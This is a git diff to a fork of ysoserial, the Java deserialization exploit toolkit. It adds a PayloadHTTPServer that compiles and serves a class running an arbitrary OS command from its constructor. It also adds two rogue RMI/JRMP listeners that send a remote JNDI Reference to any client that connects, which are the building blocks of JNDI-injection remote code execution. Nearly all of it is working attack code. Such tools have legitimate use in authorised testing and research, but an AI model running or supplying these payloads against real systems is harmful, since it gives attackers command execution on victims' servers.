diff --git a/CommonsCollections1.ser b/CommonsCollections1.ser deleted file mode 100644 index e69de29b..00000000 diff --git a/README.md b/README.md index c2d578b1..6e8a25d7 100644 --- a/README.md +++ b/README.md @@ -13,10 +13,12 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object ![logo](ysoserial.png) -## update +## Update * CommonsCollection8,9,10 * RMIRegistryExploit2,3 +* RMIRefListener,RMIRefListener2 +* PayloadHTTPServer ## Description diff --git a/src/main/java/ysoserial/exploit/PayloadHTTPServer.java b/src/main/java/ysoserial/exploit/PayloadHTTPServer.java new file mode 100644 index 00000000..b6d55e8c --- /dev/null +++ b/src/main/java/ysoserial/exploit/PayloadHTTPServer.java @@ -0,0 +1,83 @@ +package ysoserial.exploit; + +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import javassist.CtNewConstructor; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; + +/** + * @author wh1t3P1g + * @since 2020/2/5 + */ +public class PayloadHTTPServer { + + public static void main(String[] args) { + if ( args.length < 3 ) { + System.err.println(PayloadHTTPServer.class.getName() + " "); + System.exit(-1); + return; + } + + int port = Integer.parseInt(args[0]); + String classname = args[1]; + String command = args[2]; + + try { + System.err.println("* Opening Payload HTTPServer on " + port); + HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); + server.createContext("/"+classname+".class", new PayloadHandler(classname, command)); + server.setExecutor(null); + server.start(); + } catch (IOException e) { + e.printStackTrace(); + } catch (Exception e){ + e.printStackTrace(); + } + } + + static class PayloadHandler implements HttpHandler { + + private String classname; + private String command; + private byte[] obj; + + public PayloadHandler(String classname, String command) throws Exception{ + this.classname = classname; + this.command = command; + generate(); + } + + private void generate() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass cc = pool.makeClass(classname); + + String cmd = "java.lang.Runtime.getRuntime().exec(\"" + + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + + "\");"; + // create a default constructor + // and insert runtime payload to execute system command + CtConstructor constructor = CtNewConstructor.defaultConstructor(cc); + constructor.insertAfter(cmd); + cc.addConstructor(constructor); + this.obj = cc.toBytecode(); + } + + @Override + public void handle(HttpExchange exchange) throws IOException { + System.err.println("Have connection from "+exchange.getRemoteAddress()); + System.err.println("Get request <"+exchange.getRequestMethod()+"> "+exchange.getRequestURI()); + exchange.sendResponseHeaders(200, obj.length); + OutputStream os = exchange.getResponseBody(); + os.write(obj); + os.close(); + System.err.println("return payload and close"); + } + } +} diff --git a/src/main/java/ysoserial/exploit/RMIRefListener.java b/src/main/java/ysoserial/exploit/RMIRefListener.java new file mode 100644 index 00000000..f96fbc05 --- /dev/null +++ b/src/main/java/ysoserial/exploit/RMIRefListener.java @@ -0,0 +1,293 @@ +package ysoserial.exploit; + + +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; + +import javax.naming.Reference; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class RMIRefListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public RMIRefListener(int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) throws Exception{ + + if ( args.length < 3 ) { + System.err.println(RMIRefListener.class.getName() + " "); + System.exit(-1); + return; + } + + Reference reference = new Reference(args[ 1 ],args[ 1 ],args[ 2 ]); + final Object payloadObject = new ReferenceWrapper(reference); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening RMI Reference listener on " + port); + RMIRefListener c = new RMIRefListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + } + + + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } + catch ( IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + oos.writeObject(this.payloadObject); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + + @SuppressWarnings({"deprecation"}) + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } +} diff --git a/src/main/java/ysoserial/exploit/RMIRefListener2.java b/src/main/java/ysoserial/exploit/RMIRefListener2.java new file mode 100644 index 00000000..d1e18bdf --- /dev/null +++ b/src/main/java/ysoserial/exploit/RMIRefListener2.java @@ -0,0 +1,68 @@ +package ysoserial.exploit; + + +import com.sun.jndi.rmi.registry.ReferenceWrapper; + +import javax.naming.Reference; +import java.io.IOException; +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class RMIRefListener2 { + + private int port; + private Object payloadObject; + private String factoryName; + private String factoryURL; + + + public RMIRefListener2(int port, String factoryName, String factoryURL, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.factoryName = factoryName; + this.factoryURL = factoryURL; + } + + public static final void main ( final String[] args ) throws Exception{ + + if ( args.length < 3 ) { + System.err.println(RMIRefListener2.class.getName() + " "); + System.exit(-1); + return; + } + + Reference reference = new Reference(args[ 1 ],args[ 1 ],args[ 2 ]); + final Object payloadObject = new ReferenceWrapper(reference); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + System.err.println("* URL: rmi://some-host:"+port+"/"+args[1]); + RMIRefListener2 c = new RMIRefListener2(port, args[1], args[2], payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + public void run() throws Exception { + Registry registry = LocateRegistry.createRegistry(port); + registry.bind(factoryName, (Remote) payloadObject); + } +} diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit2.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit2.java index 3c9d9cdf..2d450bec 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit2.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit2.java @@ -52,6 +52,7 @@ public static void exploit(final Registry registry, final String host, final int // RMIServerImpl_Stub OK // RegistryImpl_Stub OK // DGCImpl_Stub OK + // ReferenceWrapper_Stub String name = "pwned" + System.nanoTime(); try {